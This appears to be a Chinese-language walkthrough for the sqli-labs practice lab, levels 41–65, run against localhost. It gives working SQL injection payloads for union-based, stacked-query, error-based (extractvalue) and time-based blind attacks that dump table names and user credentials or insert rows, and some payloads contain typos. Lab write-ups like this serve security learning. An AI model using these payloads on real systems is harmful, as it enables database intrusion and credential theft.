less-41
只有输入id=1才会出现回显，尝试输入 ?id=0 union select 1,1,1 成功回显
爆库
1 | id=0 union select 1,1,database() |
爆表
1 | id=0 union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='security' |
爆列
1 | id=0 union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users' |
爆值
1 | id=0 union select 1,1,group_concat(username,password) from users |
less-42
查看源码:
Password变量在post过程中，没有通过mysql_real_escape_string()函数的处理。
用户名可以随意填写，
密码我们可以构造进行注入。
通过伪造表查看数据列名
在密码栏填写:
1 | a';creat table less42 like users# |
创建成功后发现，users表中数据列名为id,username,password
以此类推，只需插入数据(或者更新数据)即可
1 | a';insert into users (username,password) values ('a','a')# |
less-43
先用同样的方法测试，就用less42的方法，
注入语句：a’;creat table less43 like users#
发现报错
根据报错提示，只需在less-42的基础上加一个括号，即：
1 | a');creat table less43 like users# |
以此类推，同less-42
less-44
同less-42,只不过没有报错回显，我们只能通过查看数据库来判断是否注入成功
通过测试，发现和less42一样。
less-45
集结了less-44和less-43，即报错不回显，测试方法同less-44,盲注，观察数据库，注入方法和less-43一样。
less-46
借鉴于博客
尝试?sort=1 desc或者asc，显示结果不同，则表明可以注入。
爆表：
1 | http://localhost/sqli-labs/Less-46/index.php?sort=extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())))%20--+ |
爆列：
1 | http://localhost/sqli-labs/Less-46/index.php?sort=extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))--+ |
爆值：
1 | localhost/sqli-labs/Less-46/index.php?sort=extractvalue(1,concat(0x7e,(select group_concat(username,password) from users)))--+ |
less-47
输入?sort=1,回显正常，输入?sort=1’,报错
根据报错提示，显示为单引号,故
爆表：
1 | http://localhost/sqli-labs/Less-47/?sort=1%27%20and%20extractvalue(1,concat(0x7,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())))--+ |
以此类推。
less-48
http://localhost/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=178)http://localhost/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=115)
less-49
延时注入：http://localhost/sqli-labs/Less-49/index.php?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=115,0,sleep(5)))--+
或者如less-48
less-50
http://localhost/sqli-labs/Less-50/?sort=1;create%20table%20less50%20like%20users
less-51
http://localhost/sqli-labs/Less-51/?sort=1%27;create%20table%20less51%20like%20users--+
less-52
http://localhost/sqli-labs/Less-52/?sort=1;create%20table%20less52%20like%20users--+
less-53
?sort=1%27;create%20table%20less53%20like%20users–+
less-54
爆表：http://localhost/sqli-labs/Less-54/index.php?id=0%27%20union%20select%201,1,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+
爆列：http://localhost/sqli-labs/Less-54/index.php?id=0%27%20union%20select%201,1,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27gxdghjy72p%27--+
爆值：http://localhost/sqli-labs/Less-54/index.php?id=0%27%20union%20select%201,1,group_concat(secret_X79M)%20from%20gxdghjy72p--+
less-55
多一个括号?id=0) 次数为14次
less-56
思路同上54 ,只不过多一个括号?id=0’) 次数为14次
less-57
思路同上，只不过 id=”.$id.” 这里进行了双引号闭合?id=-1”union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=’challenges’%23
less-58
尝试了查询database() 不返回数据。
那就只能试试报错注入了?id=0’union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))--+
less-59
同上，只不过没有单引号?id=0 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))--+
less-60
同上，只不过多了双引号和括号?id=0”)?id=0”) union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))--+
less-61
同上，只不过多了两个括号和一个双引号?id=0’))?id=0’)) union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))--+
less-62
union和报错注入失效
使用延时注入?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
less-63
同上62,只不过是单引号?id=0%27and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))--++
正确时间短，错误时间长
less-64
同上63,只不过是双括号?id=0))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))--+
正确时间短，错误时间长
less-65
同上，只不过?id=1”)?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+